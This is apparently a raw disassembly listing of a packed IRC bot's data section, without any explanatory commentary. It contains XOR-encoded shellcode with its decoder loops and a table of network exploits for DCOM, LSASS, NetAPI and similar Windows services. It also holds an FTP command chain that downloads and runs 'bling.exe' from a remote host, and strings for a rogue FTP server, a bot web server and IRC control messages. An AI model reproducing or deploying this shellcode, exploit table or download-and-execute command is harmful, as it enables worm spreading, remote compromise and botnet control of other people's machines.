dword_427C60 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: UPX0:004050E3o
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
loc_428E74: ; DATA XREF: UPX0:0040531Ao
add al, 54h
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
loc_428E92: ; CODE XREF: UPX0:00428EE2j
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
push esp
dec eax
inc ebx
fmul st(1), st
mov al, 42h
jmp short loc_428EE9
; ---------------------------------------------------------------------------
dec edx
inc ebx
push esp
dec eax
inc ebx
and [ecx], eax
jo short loc_428E92
inc edx
add [eax-52h], esi
inc edx
loc_428EE9: ; CODE XREF: UPX0:00428ED9j
mov edi, esp
add edi, 2Ch
sub sp, 204h
xor ecx, ecx
mov dl, 35h
add cx, 138h
loc_428EFC: ; CODE XREF: UPX0:00428F03j
mov bl, [edi]
xor bl, dl
mov [edi], bl
inc edi
loop loc_428EFC
ficom word ptr [esi]
dec edi
pop esp
aaa
xor [ecx+6Ch], bl
int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP
test eax, 79E4B9EBh
inc ebp
loope loc_428F4D
lds edx, [edx]
adc eax, 623D0515h
db 66h
pop es
push 6
pop es
assume es:_data
sbb esi, [ecx+79h]
jns short near ptr loc_428F59+3
fidiv word ptr [eax]
fxch4 st(4)
retf 0CACAh
; ---------------------------------------------------------------------------
db 68h
dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh
dd 2EBE096Ah, 6EBECE34h
; ---------------------------------------------------------------------------
dec ebp
loc_428F4D: ; CODE XREF: UPX0:00428F15j
xor al, 0CEh
mov esi, 0CC34297Eh
mov esi, 0CF341166h
loc_428F59: ; CODE XREF: UPX0:00428F26j
db 64h, 67h
mov si, 156Eh
xor al, 0CEh
add al, 0FCh
jz short near ptr loc_428F67+2
cmc
lodsb
loc_428F67: ; CODE XREF: UPX0:00428F63j
mov esi, 0CB34BE01h
cdq
add al, 0F7h
in al, 0D7h
mov cl, 0F5h
inc eax
retn 833Ah
; ---------------------------------------------------------------------------
db 70h
dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h
dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh
dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h
dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h
dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h
dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h
dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h
dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h
dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h
dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h
word_429040 dw 7A69h ; DATA XREF: sub_405145+30r
word_429042 dw 0 ; DATA XREF: UPX0:00427641o
; char aEchoOpenSDOE_0[]
aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_405145+97o
db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
align 10h
unk_4290B0 db 2 ; DATA XREF: UPX0:00405368o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 25h, 73h, 2Eh
db 65h ; e
db 1Fh, 78h, 1Fh
db 70h ; p
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aAttemptingToRo db 'attempting to root %s',0
align 10h
a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D6+5CDo
; char aQuit[]
aQuit db 'QUIT',0 ; DATA XREF: sub_4053D6+5B9o
; sub_40EE51+534o
align 4
a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0
; DATA XREF: sub_4053D6+5ACo
align 4
; char unk_429128
unk_429128 db 2 ; DATA XREF: sub_4053D6+561o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSPortDNowExecu db ' %s, port:%d now executing %s on remote machine.',0
align 4
a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D6+542o
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
; DATA XREF: sub_4053D6+516o
align 4
; char aRetr[]
aRetr db 'RETR',0 ; DATA XREF: sub_4053D6+4FEo
align 10h
a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D6+4E9o
align 10h
; char aS_S_S_S[]
aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4053D6+4D8o
; char aXX[]
aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4053D6+4A5o
align 4
; char aS[]
aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D6+464o
db ']',0
; char aPort[]
aPort db 'PORT',0 ; DATA XREF: sub_4053D6+42Bo
align 4
a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D6+3FDo
align 4
; char aList[]
aList db 'LIST',0 ; DATA XREF: sub_4053D6+3EAo
align 4
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
; DATA XREF: sub_4053D6+3AFo
align 10h
; char aPasv[]
aPasv db 'PASV',0 ; DATA XREF: sub_4053D6+39Co
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D6+38Co
; char aI[]
aI: ; DATA XREF: sub_4053D6+378o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D6+351o
; char aA[]
aA: ; DATA XREF: sub_4053D6+33Do
unicode 0, <A>,0
; char aType[]
aType db 'TYPE',0 ; DATA XREF: sub_4053D6+326o
; sub_4053D6+361o
align 10h
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D6+316o
align 10h
; char off_4292D0[]
off_4292D0 dd offset dword_445750 ; DATA XREF: sub_4053D6+302o
a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D6+2F2o
align 4
; char aRest[]
aRest db 'REST',0 ; DATA XREF: sub_4053D6+2DEo
align 10h
a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D6+2CEo
align 10h
; char aSyst[]
aSyst db 'SYST',0 ; DATA XREF: sub_4053D6+2BAo
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D6+2AAo
align 10h
; char aPass[]
aPass db 'PASS',0 ; DATA XREF: sub_4053D6+296o
align 4
a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D6+286o
align 10h
; char aUser_0[]
aUser_0 db 'USER',0 ; DATA XREF: sub_4053D6+271o
; UPX0:0042E820o
align 4
; char aSS[]
aSS db '%s %s',0 ; DATA XREF: sub_4053D6+260o
align 10h
a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D6+1D8o
align 4
; char aRb[]
aRb db 'rb',0 ; DATA XREF: sub_405A56+24o
; sub_406C0B+12Eo ...
align 4
; char unk_42936C
unk_42936C db 2 ; DATA XREF: sub_405AF0+3F8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorServerFai db 'Error: server failed, returned: <%d>.',0
align 10h
; char asc_4293B0[]
asc_4293B0 db 0Dh,0Ah,0 ; DATA XREF: sub_405AF0+2CFo
align 4
; char asc_4293B4[]
asc_4293B4 db ' ',0 ; DATA XREF: sub_405AF0+293o
; sub_40EE51+A8o ...
align 4
; char aGet[]
aGet db 'GET ',0 ; DATA XREF: sub_405AF0+269o
align 10h
; char aHttp1_0200Ok_0[]
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4B+F6o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
; char aHttp1_0200OkSe[]
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4B+D3o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F4B+97o
; sub_40B8D3+1AEo
align 4
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4B+83o
align 4
; char aApplicationOct[]
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F4B:loc_405FB0o
align 4
aTextHtml db 'text/html',0 ; DATA XREF: sub_405F4B+5Eo
align 4
; char unk_4295D4
unk_4295D4 db 2 ; DATA XREF: sub_4060CD+28Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0
; char unk_42961C
unk_42961C db 2 ; DATA XREF: sub_4060CD+20Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 68h, 2 dup(74h)
db 70h ; p
db 64h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aWorkerThreadOf db 'Worker thread of server thread: %d.',0
; char asc_42965C[]
asc_42965C db '*',0 ; DATA XREF: sub_4060CD+157o
align 10h
; char asc_429660[]
asc_429660 db 0Ah,0 ; DATA XREF: sub_4060CD+FBo
; sub_40637D+29o ...
align 4
; char aSS_2[]
aSS_2 db '%s%s',0 ; DATA XREF: sub_4060CD+EAo
; sub_40637D+4CAo ...
align 4
; char aS_1[]
aS_1 db '%s',0 ; DATA XREF: sub_4060CD+3Ao
; sub_40B38B+4Co ...
align 10h
aS_9 db '\%s',0 ; DATA XREF: sub_4060CD+2Fo
; char aFoundIFilesAnd[]
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_40637D+64Eo
align 4
; char aTrTdColspan3_0[]
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40637D+633o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 4
; char aPrivmsgSFoundS[]
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_40637D+618o
align 4
; char a31s21sIBytes[]
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40637D+589o
align 10h
; char aTdTdWidthDCo_0[]
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40637D+561o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
; char aCodeSCodeA_0[]
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40637D:loc_406895o
align 10h
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40637D+511o
align 10h
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40637D+471o
align 4
; char a31s21s[]
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40637D+434o
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40637D+401o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
; char aCodeSCodeA[]
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40637D:loc_40673Fo
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40637D+3BBo
align 4
; char aSS_0[]
aSS_0 db '%s%s/',0 ; DATA XREF: sub_40637D+374o
align 10h
; char aTrTdWidthDAHre[]
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40637D+330o
; sub_40637D+486o
db '<TD WIDTH="%d"><A HREF="',0
align 10h
; char aPrivmsgS31s21s[]
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40637D+30Eo
align 4
; char aS_0[]
aS_0 db '<%s>',0 ; DATA XREF: sub_40637D+2E4o
; sub_40637D+413o
align 4
; char a2_2d2_2d4d2_2d[]
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40637D+2BAo
aAm db 'AM',0 ; DATA XREF: sub_40637D+290o
align 4
aPm db 'PM',0 ; DATA XREF: sub_40637D+285o
align 4
; char a__[]
a__ db '..',0 ; DATA XREF: sub_40637D+232o
align 10h
; char aTrTdColspan3AH[]
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40637D+1C0o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aSearchingForS[]
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40637D+147o
; char aTrTdColspan3Hr[]
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40637D+12Bo
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
; char aTrTdWidthDCode[]
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40637D+F7o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
; char aH1IndexOfSH1Ta[]
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40637D+ADo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
; char aHtmlHeadTitleI[]
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40637D+78o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
; char aPrivmsgSSearch[]
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40637D+4Bo
; char aSSHttp1_1Refer[]
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AEA+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_429B14 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C0B+493o
dword_429B20 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
; DATA XREF: sub_406C0B+47Fo
dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h
dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
dd 2E2973h
; char unk_429B74
unk_429B74 db 2 ; DATA XREF: sub_406C0B+3B6o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileNotFoundSS db ' File not found: %s (%s).',0
dword_429BA8 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_406C0B+399o
; char dword_429BBC
dword_429BBC dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
; DATA XREF: sub_406C0B+33Eo
dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h
dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
dd 3A6F666Eh, 73252820h, 2E29h
; char unk_429C04
unk_429C04 db 2 ; DATA XREF: sub_406C0B+15Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToOpenFi db ' Failed to open file: %s.',0
; char unk_429C38
unk_429C38 db 2 ; DATA XREF: sub_406C0B+6Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSocketF_2 db ' Error: socket() failed, returned: <%d>.',0
align 4
aOctet db 'octet',0 ; DATA XREF: sub_406C0B+Fo
align 8
aDcom135_0 db 'dcom135',0 ; DATA XREF: sub_407758+164o
db 2 dup(0)
aDcom135 db 'Dcom135',0 ; DATA XREF: UPX0:00405362o
align 4
dd 5 dup(0)
dword_429CB0 dd 87h ; DATA XREF: sub_407102+1Er
; sub_40EE51+30CDr ...
off_429CB4 dd offset sub_402DCE ; DATA XREF: sub_407758+1E6r
dword_429CB8 dd 0 ; DATA XREF: sub_402DCE+2E1w
; sub_402DCE+2E7r ...
dword_429CBC dd 1 ; DATA XREF: sub_407243+1Fr
dword_429CC0 dd 0 ; DATA XREF: sub_407243:loc_4074B4r
aDcom445 db 'dcom445',0
dd 63440000h, 34346D6Fh, 35h, 5 dup(0)
dd 1BDh, 402DCEh, 0
dd 1, 0
aDcom1025 db 'dcom1025',0
align 2
aDcom1025_0 db 'Dcom1025',0
align 4
dd 5 dup(0)
dd 401h, 402DCEh, 0
dd 1, 0
aLsass_445 db 'lsass_445',0
aLsass_445_0 db 'lsass_445',0
dd 5 dup(0)
dd 1BDh, 40367Fh, 0
dd 2 dup(1), 7361736Ch, 33315F73h, 736C0035h, 5F737361h
dd 353331h, 5 dup(0)
dd 87h, 40367Fh, 0
dd 2 dup(1), 7361736Ch, 33315F73h, 736C0039h, 5F737361h
dd 393331h, 5 dup(0)
dd 8Bh, 40367Fh, 0
dd 2 dup(1), 316E7361h, 626D73h, 73610000h, 6D73316Eh
dd 62h, 5 dup(0)
dd 1BDh, 404286h, 0
dd 2 dup(1), 316E7361h, 6E626D73h, 73610074h, 6D73316Eh
dd 746E62h, 5 dup(0)
dd 8Bh, 404286h, 0
dd 2 dup(1), 6970616Eh, 353434h, 656E0000h, 69706174h
dd 353434h, 5 dup(0)
dd 1BDh, 404F43h, 2 dup(0)
dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h, 393331h
dd 5 dup(0)
dd 8Bh, 404F43h, 2 dup(0)
dd 1, 6D7973h, 0
dd 79730000h, 746E616Dh, 6365h, 5 dup(0)
dd 0B97h, 405089h, 0
dd 1, 0
dd 636874h, 0
dd 68540000h, 6C717363h, 6 dup(0)
dd 599h, 40527Fh, 0 ; CODE XREF: sub_429F96:loc_429FABj
dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
jmp short loc_429FA6
; =============== S U B R O U T I N E =======================================
sub_429F96 proc near ; CODE XREF: sub_429F96:loc_429FA6p
pop edx
dec edx
xor ecx, ecx
mov cx, 166h
loc_429F9E: ; CODE XREF: sub_429F96+Cj
xor byte ptr [edx+ecx], 99h
loop loc_429F9E
jmp short loc_429FAB
; ---------------------------------------------------------------------------
loc_429FA6: ; CODE XREF: UPX0:00429F94j
call sub_429F96
loc_429FAB: ; CODE XREF: sub_429F96+Ej
jo short near ptr dword_429F44+2
cwde
cdq
cdq
retn
sub_429F96 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 21h, 95h, 69h
dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah
dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h
dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh
dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
